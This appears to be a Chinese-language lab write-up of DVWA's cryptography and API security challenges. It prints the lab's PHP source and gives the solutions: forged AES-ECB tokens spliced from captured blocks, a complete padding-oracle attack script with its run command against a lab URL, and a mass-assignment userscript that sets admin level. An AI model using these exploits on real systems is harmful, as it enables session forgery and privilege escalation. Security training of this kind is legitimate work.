                <input type='radio' value='encode' name='direction' id='direction_encode' " . $encode_radio_selected . "><label for='direction_encode'>Encode</label> or 
                <input type='radio' value='decode' name='direction' id='direction_decode' " . $decode_radio_selected . "><label for='direction_decode'>Decode</label>
            </p>
            <p>
                <input type=\"submit\" value=\"Submit\">
            </p>
        </form>
";

if (!is_null ($encoded)) {
    echo "
            <p>
                <label for='encoded'>Message:</lable><br />
                <textarea readonly='readonly' style='width: 600px; height: 56px' id='encoded' name='encoded'>" . htmlentities ($encoded) . "</textarea>
            </p>";
}

echo "
        <hr>
        <p>
        You have intercepted the following message, decode it and log in below.
        </p>
        <p>
        <textarea readonly='readonly' style='width: 600px; height: 28px' id='encoded' name='encoded'>Lg4WGlQZChhSFBYSEB8bBQtPGxdNQSwEHREOAQY=</textarea>
        </p>
";

if ($errors != "") {
    echo '<div class="warning">' . $errors . '</div>';
}

if ($messages != "") {
    echo '<div class="nearly">' . $messages . '</div>';
}

if ($success != "") {
    echo '<div class="success">' . $success . '</div>';
}

echo "
        <form name=\"ecb\" method='post' action=\"" . $_SERVER['PHP_SELF'] . "\">
            <p>
                <label for='password'>Password:</lable><br />
<input type='password' id='password' name='password'>
            </p>
            <p>
                <input type=\"submit\" value=\"Login\">
            </p>
        </form>
";
?>

异或加密,由 $key = "wachtwoord";确定密钥为"wachtwoord"

medium

给了3个用户的token,同时还有这样一句话:为确保您的安全,我们在整个应用程序中使用了AES-128-ECB加密算法。

得知使用AES-128-ECB加密,AES-128-ECB每个数据块是独立加密的,加密时会将明文数据按 16 字节(128 bits) 进行分组,不足 16 字节时将用特定的 Padding(如PKCS7)字符进填充,每个数据块有16位即32个字符,因此分段解密时,包含最后一个区块解密才需要选择padding

因此可以将每个块区分开来

Sooty (admin),会话过期

e287af752ed3f9601befd45726785bd9
b85bb230876912bf3c66e50758b222d0
837d1e6b16bfae07b776feb7afe57630
5aec34b41499579d3fb6acc8dc92fd5f
cea8743c3b2904de83944d6b19733cdb
48dd16048ed89967c250ab7f00629dba

Sweep (user),会话过期

3061837c4f9debaf19d4539bfa0074c1
b85bb230876912bf3c66e50758b222d0
83f2d277d9e5fb9a951e74bee57c77a3
caeb574f10f349ed839fbfd223903368
873580b2e3e494ace1e9e8035f0e7e07

Soo (user),会话有效

5fec0b1c993f46c8bad8a5c8d9bb9698
174d4b2659239bbc50646e14a70becef
83f2d277d9e5fb9a951e74bee57c77a3
c9acb1f268c06c5e760a9d728e081fab
65e83b9f97e65cb7c7c4b8427bd44abc
16daa00fd8cd0105c97449185be77ef5

而题目也给了令牌格式

{
    "user": "example",
    "ex": 1723620372,
    "level": "user",
    "bio": "blah"
}

这三个用户之间sooty跟sweep的会话均已过期,sweep跟soo的用户等级仅为user,恰好sooty跟sweep token的第二个数据块相同,sweep跟soo的第三个数据块相同

现在题目要求:利用你捕获的会话令牌,以管理员权限登录Sweep账户。

那么以sweep为例,推测sweep的数据块结构

3061837c4f9debaf19d4539bfa0074c1 ==> user
b85bb230876912bf3c66e50758b222d0 ==> ex
83f2d277d9e5fb9a951e74bee57c77a3 ==> level
caeb574f10f349ed839fbfd223903368 ==> bio
873580b2e3e494ace1e9e8035f0e7e07

现在就可以拼凑出有效的sweep管理员token

3061837c4f9debaf19d4539bfa0074c1
174d4b2659239bbc50646e14a70becef ==> Soo的有效会话数据块
837d1e6b16bfae07b776feb7afe57630 ==> Sooty的管理员权限数据块
caeb574f10f349ed839fbfd223903368
873580b2e3e494ace1e9e8035f0e7e07

最终token

3061837c4f9debaf19d4539bfa0074c1174d4b2659239bbc50646e14a70becef837d1e6b16bfae07b776feb7afe57630caeb574f10f349ed839fbfd223903368873580b2e3e494ace1e9e8035f0e7e07

image-20260408234903681.png

medium.php

<?php
function decrypt ($ciphertext, $key) {
    $e = openssl_decrypt($ciphertext, 'aes-128-ecb', $key, OPENSSL_PKCS1_PADDING);
    if ($e === false) {
        throw new Exception ("Decryption failed");
    }
    return $e;
}

$key = "ik ben een aardbei";

$errors = "";
$success = "";
$messages = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    try {
        if (!array_key_exists ('token', $_POST)) {
            throw new Exception ("No token passed");
        } else {
            $token = $_POST['token'];
            if (strlen($token) % 32 != 0) {
                throw new Exception ("Token is in wrong format");
            } else {
                $decrypted = decrypt(hex2bin ($token), $key);

                $user = json_decode ($decrypted);
                if ($user === null) {
                    throw new Exception ("Could not decode JSON object.");
                }

                if ($user->user == "sweep" && $user->ex > time() && $user->level == "admin") {
                    $success = "Welcome administrator Sweep";
                } else {
                    $messages = "Login successful but not as the right user.";
                }
            }
        }
    } catch(Exception $e) {
        $errors = $e->getMessage();
    }
}

$html = "
        <p>
        You have managed to get hold of three session tokens for an application you think is using poor cryptography to protect its secrets:
        </p>
        <p>
        <strong>Sooty (admin), session expired</strong>
        </p>
        <p>
<textarea style='width: 600px; height: 56px'>e287af752ed3f9601befd45726785bd9b85bb230876912bf3c66e50758b222d0837d1e6b16bfae07b776feb7afe576305aec34b41499579d3fb6acc8dc92fd5fcea8743c3b2904de83944d6b19733cdb48dd16048ed89967c250ab7f00629dba</textarea>
        </p>
        <p>
        <strong>Sweep (user), session expired</strong>
        </p>
        <p>
<textarea style='width: 600px; height: 56px'>3061837c4f9debaf19d4539bfa0074c1b85bb230876912bf3c66e50758b222d083f2d277d9e5fb9a951e74bee57c77a3caeb574f10f349ed839fbfd223903368873580b2e3e494ace1e9e8035f0e7e07</textarea>
        </p>
        <p>
        <strong>Soo (user), session valid</strong>
        </p>
        <p>
<textarea style='width: 600px; height: 56px'>5fec0b1c993f46c8bad8a5c8d9bb9698174d4b2659239bbc50646e14a70becef83f2d277d9e5fb9a951e74bee57c77a3c9acb1f268c06c5e760a9d728e081fab65e83b9f97e65cb7c7c4b8427bd44abc16daa00fd8cd0105c97449185be77ef5</textarea>
        </p>
        <p>
        Based on the documentation, you know the format of the token is:
        </p>
        <pre><code>{
    \"user\": \"example\",
    \"ex\": 1723620372,
    \"level\": \"user\",
    \"bio\": \"blah\"
}</code></pre>
<p>
You also spot this comment in the docs:
</p>
<blockquote><i>
To ensure your security, we use aes-128-ecb throughout our application.
</i></blockquote>

        <hr>
        <p>
        Manipulate the session tokens you have captured to log in as Sweep with admin privileges.
";

if ($errors != "") {
    echo '<div class="warning">' . $errors . '</div>';
}

if ($messages != "") {
    echo '<div class="nearly">' . $messages . '</div>';
}

if ($success != "") {
    echo '<div class="success">' . $success . '</div>';
}

echo "
        <form name=\"ecb\" method='post' action=\"" . $_SERVER['PHP_SELF'] . "\">
            <p>
                <label for='token'>Token:</lable><br />
<textarea style='width: 600px; height: 56px' id='token' name='token'></textarea>
            </p>
            <p>
                <input type=\"submit\" value=\"Submit\">
            </p>
        </form>
";
?>

可以得到的密钥为"ik ben een aardbei",长度18,但是密钥长度应为16,所以密钥应为"ik ben een aardb"

image-20260409133015228.png

解密所有token得到:

{"user":"sooty","ex":1723620672,"level":"admin","bio":"Izzy wizzy let's get busy"}

{"user":"sweep","ex":1723620672,"level": "user","bio": "Squeeeeek"}

{"user" : "soo","ex":1823620672,"level": "user","bio": "I won The Weakest Link"}

则所需token明文

{"user":"sweep","ex":1823620672,"level": "admin","bio": "Squeeeeek"}

密文

3061837c4f9debaf19d4539bfa0074c1174d4b2659239bbc50646e14a70becef3f12df32789d141ea35b4ef9cbd35fffc1d42886ce233fb82522bd7f45544952f169f4c9f577d15175df406bd591ff02

image-20260409162759790.png

时间戳到了2027年,怪不得有效,而且sooty和sweep的时间戳一摸一样,实际情况九成九不可能,且远比这复杂,真能破解就烧高香了image-20260409163311521.png

high

题目要求以管理员身份登录,而所给的token是普通用户而已image-20260409220435611.png

密文+初始化向量(iv),且iv解密后为1234567812345678,有16字节,典型AES-CBC IV长度

<?php

// require_once ("token_library_high.php");
// 注释,使用本地逻辑

/**
 * 字节数组异或操作
 * 将两个等长的字节数组进行逐位异或运算
 */
function xor_byte_array ($a1, $a2) {
	if (count ($a1) != count ($a2)) {
		throw new Exception ("Arrays are different length");
	}
	$out = [];
	for ($i = 0; $i < count ($a1); $i++) {
		$out[] = $a1[$i] ^ $a2[$i];
	}
	return $out;
}

/**
 * 字节数组转字符串
 * 将字节数组转换为十六进制字符串表示
 */
function byte_array_to_string ($array) {
	$str = "";
	foreach ($array as $c) {
		$str .= "0x" . sprintf ("%02x", $c) . " ";
	}
	return $str;
}

/**
 * 创建全零字节数组
 * 创建指定长度的全零字节数组
 */
function zero_array($length) {
	$array = [];
	for ($i = 0; $i < $length; $i++) {
		$array[$i] = 0x00;
	}
	return $array;
}

/**
 * 发送请求到目标系统
 * 发送token和IV进行Padding Oracle检测
 */
function make_call ($token, $iv, $url = null) {
	// 将IV字节数组转换为字符串
	$iv_string = implode(array_map("chr", $iv));

	// 对IV字符串进行Base64编码以便安全传输
	$iv_string_b64 = base64_encode ($iv_string);

	// 构建请求数据
	$data = array (
					"token" => $token,
					"iv" => $iv_string_b64
				);

	if (is_null ($url)) {
		// 本地模式已禁用,仅支持远程模式
		throw new Exception("本地模式不可用,请使用远程模式");
	} else {
		// 远程模式:使用cURL发送HTTP请求
		$ch = curl_init();

		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json', 'Accept:application/json'));
		curl_setopt($ch, CURLOPT_POST, 1);
		curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode ($data));

		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_HEADER, true);

		$response = curl_exec($ch);

		$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
		$header = substr($response, 0, $header_size);
		$body = substr($response, $header_size);

		// 错误处理
		if ($response == false) {
			print "Could not access remote server, is the URL correct?
${url}
";
			exit;
		}
		if (strpos ($header, "200 OK") === false) {
			print "Check token script not found, have you got the right URL?
${url}
";
			exit;
		}

		curl_close($ch);
	}

	return json_decode ($body, true);
}

/**
 * 执行完整的Padding Oracle攻击
 * 包括解密和权限提升两个阶段
 */
function do_attack ($iv_string_b64, $token, $url) {
	// 解码Base64编码的IV字符串
	$iv_string = base64_decode ($iv_string_b64);
	$temp_init_iv = unpack('C*', $iv_string);

	// 将数组索引从1-based转换为0-based
	$init_iv = array_values ($temp_init_iv);

	print "Trying to decrypt\n";
	print "\n";

	// 初始化IV和零化数组
	$iv = zero_array(16);
	$zeroing = zero_array(16);

	// 第一阶段:Padding Oracle解密 
	// 从最后一个字节开始,逐个字节进行爆破
	for ($padding = 1; $padding <= 16; $padding++) {
		$offset = 16 - $padding; // 当前处理的字节位置
		print ("Looking at offset $offset for padding $padding\n");
		
		// 对当前字节进行256次尝试(0-255)
		for ($i = 0; $i <= 0xff; $i++) {
			$iv[$offset] = $i; // 设置当前字节的猜测值
			
			// 设置后续字节的IV值,使得中间值异或后产生正确的填充
			for ($k = $offset + 1; $k < 16; $k++) {
				$iv[$k] = $zeroing[$k] ^ $padding;
			}
			
			try {
				$obj = make_call ($token, $iv, $url);

				// 526状态码表示解密失败(填充无效)
				if ($obj['status'] != 526) {
					print "Got hit for: " . $i . "\n";

					// 边缘情况检测 
					// 检查最后一个字节的填充边界情况
					$ignore = false;
					if ($offset == 15) {
						print "Got a valid decrypt for offset 15, checking edge case\n";
						$temp_iv = $iv;
						$temp_iv[14] = 0xff; // 修改倒数第二个字节
						$temp_d_obj = make_call ($token, $temp_iv, $url);
						if ($temp_d_obj['status'] != 526) {
							print "Not edge case, can continue\n";
						} else {
							print "Edge case, do not continue\n";
							$ignore = true;
						}
					}
					
					if (!$ignore) {
						print "There was a match\n";
						// 计算中间值:zeroing[offset] = 猜测值 ^ 填充值
						$zeroing[$offset] = $i ^ $padding; 
						break;
					}
				}
			} catch(Exception $exp) {
				// 请求失败,继续尝试
			}
		}
	}

	print "\n";
	print "Finished looping\n";
	print "\n";

	// 输出解密过程信息
	print "Derived IV is: " . byte_array_to_string ($iv) . "\n";
	print "Real IV is: " . byte_array_to_string ($init_iv) . "\n";
	print "Zeroing array is: " . byte_array_to_string ($zeroing) . "\n";
	print "\n";

	// 计算解密后的明文(包含填充)
	$x = xor_byte_array ($init_iv, $zeroing);
	print "Decrypted string with padding: " . byte_array_to_string ($x) . "\n";
	
	// 移除PKCS7填充
	$number_of_padding_bytes = $x[15];
	$without_padding = array_slice ($x, 0, 16 - $number_of_padding_bytes);
	print "Decrypted string without padding: " . byte_array_to_string ($without_padding) . "\n";

	// 将解密结果转换为可读文本
	$str = '';
	for ($i = 0; $i < count ($without_padding); $i++) {
		$c = $without_padding[$i];
		if ($c > 0x19 && $c < 0x7f) {
			$str .= chr($c);
		} else {
			$str .= "0x" . sprintf ("%02x", $c) . " ";
		}
	}

	print "Decrypted string as text: " . $str . "\n";

	// 第二阶段:权限提升 
	print "\n";
	print "Trying to modify string\n";
	print "\n";

	// 定义新的明文(管理员权限)
	$new_clear = "userid:1";
		print "New clear text: " . $new_clear . "\n";

	// 关键步骤:修改零化数组以生成新token 
	// 原理:new_iv = zeroing XOR new_plaintext
	
	// 1. 修改数据部分:将原始数据替换为新数据
	for ($i = 0; $i < strlen($new_clear); $i++) {
		// zeroing[i] = zeroing[i] XOR original[i] XOR new[i]
		// 由于zeroing[i] XOR original[i] = intermediate[i]
		// 所以zeroing[i] XOR new[i] = intermediate[i] XOR original[i] XOR new[i]
		$zeroing[$i] = $zeroing[$i] ^ ord($new_clear[$i]);
	}
	
	// 2. 修改填充部分:设置正确的PKCS7填充
	$padding = 16 - strlen($new_clear);
	$offset = 16 - $padding;
	for ($i = $offset; $i < 16; $i++) {
		// 设置填充字节的值
		$zeroing[$i] = $zeroing[$i] ^ $padding;
	}

	print "New IV is: " . byte_array_to_string ($zeroing) . "\n";
	print "\n";

	// 第三阶段:测试新token 
	print "Sending new data to server...\n";
	print "\n";

	try {
		$ret_obj = make_call ($token, $zeroing, $url);

		print "Response from server:\n";
		var_dump ($ret_obj);

		// 检查是否获得管理员权限
		if ($ret_obj['status'] == 200 && $ret_obj['level'] == "admin") {
			print "\n";
			print "Hack success!\n\n";
			print "The new token is:\n";

			// 生成新token 
			// 1. 将修改后的零化数组转换为字符串
			$iv_string = implode(array_map("chr", $zeroing));

			// 2. 对IV字符串进行Base64编码
			$iv_string_b64 = base64_encode ($iv_string);

			// 3. 构建新的token数据包
			$new_token = array (
							"token" => $token,  // 原始token保持不变
							"iv" => $iv_string_b64  // 新的IV(包含修改后的数据)
						);
			
			// 4. 输出新token(JSON格式)
			print json_encode ($new_token);
			print "\n\n";
		} else {
			print "Hack failed\n";
		}
	} catch (Exception $exp) {
		print "Hack failed, system could not decrypt message\n";
		var_dump ($exp);
	}
}

// 命令行参数处理 
$shortopts  = "";
$shortopts  .= "h";  // Help

$longopts  = array(
"url:",    // 目标URL
"iv:",     // 初始化向量
"token:",  // 加密token
"local",   // 本地测试模式
"help",    // 帮助信息
);
$options = getopt($shortopts, $longopts);

// 帮助信息显示
if (array_key_exists ("h", $options) || array_key_exists ("help", $options)) {
	print "Padding Oracle攻击脚本 - 仅支持远程模式\n
由于本地依赖函数不可用,此脚本仅支持远程攻击模式。

用法:
--iv - 初始化向量 (Base64编码)
--token - 加密token (Base64编码)
--url - 目标系统的API端点URL
-h, --help - 帮助信息

示例:
php oracle_attack_commented.php --iv \"MTIzNDU2NzgxMjM0NTY3OA==\" --token \"PhQwGVA3q+T2mT+L3Pe5Vg==\" --url \"url\"

";
	exit;
} elseif (array_key_exists ("iv", $options) &&
	array_key_exists ("token", $options) &&
	array_key_exists ("url", $options)) {
	// 远程攻击模式
	print "Attacking remote server using parameters provided\n\n";

	$token = $options['token'];
	$iv = $options['iv'];
	$url = $options['url'];
} else {
	print "请提供IV、token和URL参数\n";
	print "使用 --help 查看详细用法\n\n";
	exit;
}

// 执行攻击
print "开始执行Padding Oracle攻击...\n\n";
do_attack ($iv, $token, $url);

新token生成的核心原理:

  1. 原始解密过程: ciphertext = AES_encrypt(plaintext, key) plaintext = AES_decrypt(ciphertext, key)

  2. CBC模式解密: intermediate = AES_decrypt(ciphertext, key) plaintext = intermediate XOR IV

  3. Padding Oracle攻击: 通过错误响应推断出intermediate值

  4. 修改权限: new_plaintext = "userid:1"(管理员权限) new_IV = intermediate XOR new_plaintext

  5. 新token组成:

    • token: 原始加密数据(保持不变)
    • iv: 新的IV(包含修改后的权限信息)

当服务器解密时: intermediate = AES_decrypt(token, key) plaintext = intermediate XOR new_IV = "userid:1"

这样就获取到admin权限

当提交token时,发现提交的urlimage-20260412134148183.png

于是执行payload

php oracle_attack.php --iv "MTIzNDU2NzgxMjM0NTY3OA==" --token "PhQwGVA3q+T2mT+L3Pe5Vg==" --url "http://192.168.179.131:4280/vulnerabilities/cryptography/source/check_token_high.php"

image-20260412133942306.png

image-20260412124323918.png

token

{"token":"PhQwGVA3q+T2mT+L3Pe5Vg==","iv":"MTIzNDU2NzsxMjM0NTY3OA=="}

乍一看没有什么区别,因为仅相差一个字母image-20260412125011477.png

high.php

<?php

require ("token_library_high.php");

$message = "";

$token_data = create_token();

$html = "
    <script>
        function send_token() {

            const url = 'source/check_token_high.php';
            const data = document.getElementById ('token').value;

            console.log (data);
             
            fetch(url, { 
                    method: 'POST', 
                    headers: { 
                        'Content-Type': 'application/json' 
                    }, 
                    body: data
                }) 
                .then(response => { 
                    if (!response.ok) { 
                        throw new Error('Network response was not ok'); 
                } 
                return response.json(); 
                }) 
                .then(data => { 
                    console.log(data);
                    message_line = document.getElementById ('message');
                    if (data.status == 200) {
                        message_line.innerText = 'Welcome back ' + data.user + ' (' + data.level + ')';
                        message_line.setAttribute('class', 'success');
                    } else {
                        message_line.innerText = 'Error: ' + data.message;
                        message_line.setAttribute('class', 'warning');
                    }
                }) 
                .catch(error => { 
                    console.error('There was a problem with your fetch operation:', error); 
            }); 

        }
    </script>
        <p>
            You have managed to steal the following token from a user of the Prognostication application.
        </p>
        <p>
            <textarea style='width: 600px; height: 23px'>" . htmlentities ($token_data) . "</textarea>
        </p>
        <p>
            You can use the form below to provide the token to access the system. You have two challenges, first, decrypt the token to find out the secret it contains, and then create a new token to access the system as a other users. See if you can make yourself an administrator.
        </p>
        <hr>
        <form name=\"check_token\" action=\"\">
            <div id='message'></div>
            <p>
                <label for='token'>Token:</lable><br />
                <textarea id='token' name='token' style='width: 600px; height: 23px'>" . htmlentities ($token_data) . "</textarea>
            </p>
            <p>
                <input type=\"button\" value=\"Submit\" onclick='send_token();'>
            </p>
        </form>
";

?>

impossible

这个也是AES加密,算法模式是GCM,正如题目所说:既然这是不可能完成的关卡,你应该无法以任何有效方式干扰令牌,但欢迎在下方随意尝试。

<?php

require ("token_library_impossible.php");

$message = "";

$token_data = create_token();

$html = "
    <script>
        function send_token() {

            const url = 'source/check_token_impossible.php';
            const data = document.getElementById ('token').value;

            console.log (data);
             
            fetch(url, { 
                    method: 'POST', 
                    headers: { 
                        'Content-Type': 'application/json' 
                    }, 
                    body: data
                }) 
                .then(response => { 
                    if (!response.ok) { 
                        throw new Error('Network response was not ok'); 
                } 
                return response.json(); 
                }) 
                .then(data => { 
                    console.log(data);
                    message_line = document.getElementById ('message');
                    if (data.status == 200) {
                        message_line.innerText = 'Welcome back ' + data.user + ' (' + data.level + ')';
                        message_line.setAttribute('class', 'success');
                    } else {
                        message_line.innerText = 'Error: ' + data.message;
                        message_line.setAttribute('class', 'warning');
                    }
                }) 
                .catch(error => { 
                    console.error('There was a problem with your fetch operation:', error); 
            }); 

        }
    </script>
        <p>
            You have managed to steal the following token from a user of the Impervious application.
        </p>
        <p>
            <textarea style='width: 600px; height: 23px'>" . htmlentities ($token_data) . "</textarea>
        </p>
        <p>
            This being the impossible level, you should not be able to mess with the token in any useful way but feel free to try below.
        </p>
        <hr>
        <form name=\"check_token\" action=\"\">
            <div id='message'></div>
            <p>
                <label for='token'>Token:</lable><br />
                <textarea id='token' name='token' style='width: 600px; height: 23px'>" . htmlentities ($token_data) . "</textarea>
            </p>
            <p>
                <input type=\"button\" value=\"Submit\" onclick='send_token();'>
            </p>
        </form>
";

?>

API Security

API安全

大多数现代网络应用都使用某种API,无论是作为单页应用(SPA)还是为传统应用获取数据。由于这些API在后台运行,开发者有时会认为可以在身份验证、授权或数据验证等方面偷工减料。作为测试人员,我们可以深入幕后,直接访问这些看似隐藏的调用,利用这些漏洞。

本模块将探讨三个漏洞:版本控制、批量赋值和......

目标

每个级别都有其特定目标,但总体思路是利用薄弱的API实现。

低级

JavaScript调用的是端点版本2,是否存在更早的版本可用?

通过查看JavaScript或监控网络流量,您会注意到有一个调用指向/vulnerabilities/api/v2/user/以获取用于生成用户表的数据。由于调用针对的是端点的第二版(v2),显然可以尝试查看第一版是否可用及其功能。最简单的方法是直接在浏览器中访问/vulnerabilities/api/v1/user/,但有时API调用需要额外的头部或认证令牌,让网站自动添加比手动操作更方便。两种方法是在页面加载时通过设置断点修改JavaScript中的URL,或在代理(如BurpSuite)中拦截调用。

无论采用哪种方法,访问端点第一版后,您应该能在数据中看到密码哈希值。

中级

查看网站发出的调用,同时查看Swagger文档,看看是否有其他未传递的参数可以添加。

当您更新名称时,会向/vulnerabilities/api/v2/user/2发送PUT请求,内容如下:

{

"name":"morph"

}

查看Swagger文档,UserUpdate的定义是:

UserUpdate:
  required:
    - name
  properties:
    name:
      type: string
      example: fred
    type: object

这就是您当前传递的内容,但如果您查看UserAdd,会发现多了一个参数:

UserAdd:
  required:
    - level
    - name
  properties:
    name:
      type: string
      example: fred
    level:
      type: integer
      example: user
  type: object

注意到额外的level参数了吗?

在这种情况下,总是值得测试一下类似调用中存在的额外参数是否也能适用于你正在处理的这个调用。

要尝试这一点,你可以在代理中拦截请求,也可以在请求发送到服务器之前修改JSON。要在页面中修改,你可以在update_name函数中设置一个断点,就在data变量创建之后,然后通过控制台使用以下代码修改变量:

data = JSON.stringify({name: name, level: 0})

执行后,PUT请求中的JSON应为:

{

name: "hacked",

level: 0

}

并希望看到成功消息。

高级

将四个健康检查调用导入您选择的测试工具,确保它们正常运行。全部工作后,测试它们是否存在漏洞。

连接性调用接受一个target参数并ping它以检查连接,这是通过调用操作系统ping命令实现的,容易受到命令注入攻击。

有关如何利用此类问题的更多信息,请参阅命令注入模块。

不可能级别

这里的挑战只是将登录过程在Postman或您选择的工具中自动化。阅读文档并进行实验。为了帮助实现这一点,我通过Burp代理所有内容,观察每次调用是否符合预期。

当流程正确运行时,初始登录将返回一个访问令牌、一个刷新令牌以及一个expires_in值,表示访问令牌的有效期。一旦访问令牌过期,刷新令牌将被发送到刷新端点以生成新的访问/刷新令牌对。

需要注意的是,除了访问令牌有固定寿命外,刷新令牌也有固定寿命,一旦过期,必须从头开始重新登录。

low

此等级是查看用户信息的接口

刷新的时候抓包放掉第一个包,随机看到第二个包image-20260412165848289.png

有v2,说明还有旧版本接口v1,将v2改成v1image-20260412170121019.png

image-20260412170143040.png

此时旧版接口把密码哈希泄露了

low.php

<?php
$errors = "";
$success = "";
$messages = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
}

$request_url = $_SERVER['REQUEST_URI'];
$stripped_url = str_replace ("/vulnerabilities/api/", "", $request_url);

echo "
<p>
    Versioning is important in APIs, running multiple versions of an API can allow for backward compatibility and can allow new services to be added without affecting existing users. The downside to keeping old versions alive is when those older versions contain vulnerabilities.
</p>
";

echo "
<script>
    function update_username(user_json) {
        console.log(user_json);
        var user_info = document.getElementById ('user_info');
        var name_input = document.getElementById ('name');

        if (user_json.name == '') {
            user_info.innerHTML = 'User details: unknown user';
            name_input.value = 'unknown';
        } else {
            if (user_json.level == 0) {
                level = 'admin';
            } else {
                level = 'user';
            }
            user_info.innerHTML = 'User details: ' + user_json.name + ' (' + level + ')';
            name_input.value = user_json.name;
        }

        const message_line = document.getElementById ('message');
        if (user_json.id == 2 && user_json.level == 0) {
            message_line.style.display = 'block';
        } else {
            message_line.style.display = 'none';
        }
    }

    function get_users() {
        const url = '" . $stripped_url . "/vulnerabilities/api/v2/user/';
         
        fetch(url, { 
                method: 'GET',
            }) 
            .then(response => { 
                if (!response.ok) { 
                    throw new Error('Network response was not ok'); 
            } 
            return response.json(); 
            }) 
            .then(data => { 
                loadTableData(data);
            }) 
            .catch(error => { 
                console.error('There was a problem with your fetch operation:', error); 
        }); 
    }

    HTMLTableRowElement.prototype.insert_th_Cell = function(index) {
        let cell = this.insertCell(index)
        , c_th = document.createElement('th');
        cell.replaceWith(c_th);
        return c_th;
    }

    function loadTableData(items) {
        const table = document.getElementById('table');
        const tableHead = table.createTHead();
        const row = tableHead.insertRow(0);

        item = items[0];
        Object.keys(item).forEach(function(k){
            let cell = row.insert_th_Cell(-1);
            cell.innerHTML = k;
            if (k == 'password') {
                successDiv = document.getElementById ('message');
                successDiv.style.display = 'block';
            }
        });

        const tableBody = document.getElementById('tableBody');

        items.forEach( item => {
            let row = tableBody.insertRow();
            for (const [key, value] of Object.entries(item)) {
                let cell = row.insertCell(-1);
                cell.innerHTML = value;
            }
        });
    }
    </script>
";

echo "

<table id='table' class=''>
  <thead>
    <tr id='tableHead'>
    </tr>
  </thead>
  <tbody id='tableBody'></tbody>
</table>


        <p>
            Look at the call used to create this table and see if you can exploit it to return some additional information.
        </p>
        <div class='success' style='display:none' id='message'>Well done, you found the password hashes.</div>
        <script>
            get_users();
        </script>
";

?>

medium

burp

修改api接口

此关是一个更新用户信息的接口,点击提交时,可以看到发送的路径image-20260412172718201.png

发送到的是user下的2,那修改成1试试image-20260412173027427.png

image-20260412173047318.png

修改json

观察json数据:

提交时image-20260412184545996.png

响应发现多了id和levelimage-20260412184704466.png

在提交数据时,多加一个关于权限的参数,即发现的level参数,同时修改为0(admin)image-20260412184942672.png

回显的level参数值确实变成0了image-20260412185037294.png

控制台

可以发现点击提交按钮时触发 update_name()函数image-20260412183705144.png

在源代码中搜索此函数image-20260412183824863.png

在定义url参数之下打上断点image-20260412184211344.png

点击提交时在控制台更新url参数image-20260412184326492.png

image-20260412184405538.png

修改data:

在定义data参数之后打上断点image-20260412185345088.png

点击提交的同时更新data参数image-20260412185643200.png

data = JSON.stringify({name: name,level:0});

image-20260412185747074.png

篡改猴

直接重写函数,简单粗暴

/*
(function() {
    'use strict';
    const originalUpdateName = window.update_name;

    // 重写函数
    window.update_name = 原函数
})();
*/
(function() {
    'use strict';
    const originalUpdateName = window.update_name;
    window.update_name = function update_name(){
			const url = '/vulnerabilities/api/v2/user/2';
			const name = document.getElementById ('name').value;
			const data = JSON.stringify({name: name,level:0}); //更新点
			 
			fetch(url, { 
					method: 'PUT', 
					headers: { 
						'Content-Type': 'application/json' 
					}, 
					body: data
				}) 
				.then(response => { 
					if (!response.ok) { 
						throw new Error('Network response was not ok'); 
				} 
				return response.json(); 
				}) 
				.then(data => { 
					update_username(data);
				}) 
				.catch(error => { 
					console.error('There was a problem with your fetch operation:', error); 
			}); 
		}
})();

image-20260417143223259.png

刷新让脚本加载,再点击提交image-20260412193750830.png

同理,也可以修改url参数,就不演示了

同时也存在low等级的漏洞image-20260412173353147.png

只要知道用户名就可以

这个只能算是演示,不能真正更新用户数据,因为把回显中的level改成0也行,除非修改回显后再次以此回显为基础再次向服务器发送数据得到正确回显,显然数据没有再次发送image-20260412190230913.png

image-20260412190258900.png

medium.php

<?php

$request_url = $_SERVER['REQUEST_URI'];
$stripped_url = str_replace ("/vulnerabilities/api/", "", $request_url);

echo "
    <script>
        function update_username(user_json) {
            console.log(user_json);
            var user_info = document.getElementById ('user_info');
            var name_input = document.getElementById ('name');

            if (user_json.name == '') {
                user_info.innerHTML = 'User details: unknown user';
                name_input.value = 'unknown';
            } else {
                var level = 'unknown';
                if (user_json.level == 0) {
                    level = 'admin';
                    successDiv = document.getElementById ('message');
                    successDiv.style.display = 'block';
                } else {
                    level = 'user';
                }
                user_info.innerHTML = 'User details: ' + user_json.name + ' (' + level + ')';
                name_input.value = user_json.name;
            }
        }

        function get_user() {
            const url = '" . $stripped_url . "/vulnerabilities/api/v2/user/2';
             
            fetch(url, { 
                    method: 'GET',
                }) 
                .then(response => { 
                    if (!response.ok) { 
                        throw new Error('Network response was not ok'); 
                } 
                return response.json(); 
                }) 
                .then(data => { 
                    update_username (data);
                }) 
                .catch(error => { 
                    console.error('There was a problem with your fetch operation:', error); 
            }); 
        }

        function update_name() {
            const url = '" . $stripped_url . "/vulnerabilities/api/v2/user/2';
            const name = document.getElementById ('name').value;
            const data = JSON.stringify({name: name});
             
            fetch(url, { 
                    method: 'PUT', 
                    headers: { 
                        'Content-Type': 'application/json' 
                    }, 
                    body: data
                }) 
                .then(response => { 
                    if (!response.ok) { 
                        throw new Error('Network response was not ok'); 
                } 
                return response.json(); 
                }) 
                .then(data => { 
                    update_username(data);
                }) 
                .catch(error => { 
                    console.error('There was a problem with your fetch operation:', error); 
            }); 
        }
    </script>
";

echo "
        <p>
            Look at the call used to update your name and exploit it to elevate your user to admin (level 0).
        </p>
        <p id='user_info'></p>
        <form method='post' action=\"" . $_SERVER['PHP_SELF'] . "\">
            <p>
                <label for='name'>Name</label>
                <input type='text' value='' name='name' id='name'>
            </p>
            <p>
                <input type=\"button\" value=\"Submit\" onclick='update_name();'>
            </p>
        </form>
        <div class='success' style='display:none' id='message'>Well done, you elevated your user to admin.</div>
        <script>
            get_user();
        </script>
";

?>

high

题目给了一个API接口文档image-20260413091827468.png

这是OpenAPI文档,看看健康功能部分,能否找到一个存在漏洞的功能。

下载后查看image-20260413092239127.png

这第一个接口"/vulnerabilities/api/v2/health/echo"使用POST方法提交JSON格式数据,而 $ref: '#/components/schemas/Words'则是表示本地引用从文档根目录开始,依次查找components、schemas、Wordsimage-20260413135901887.png

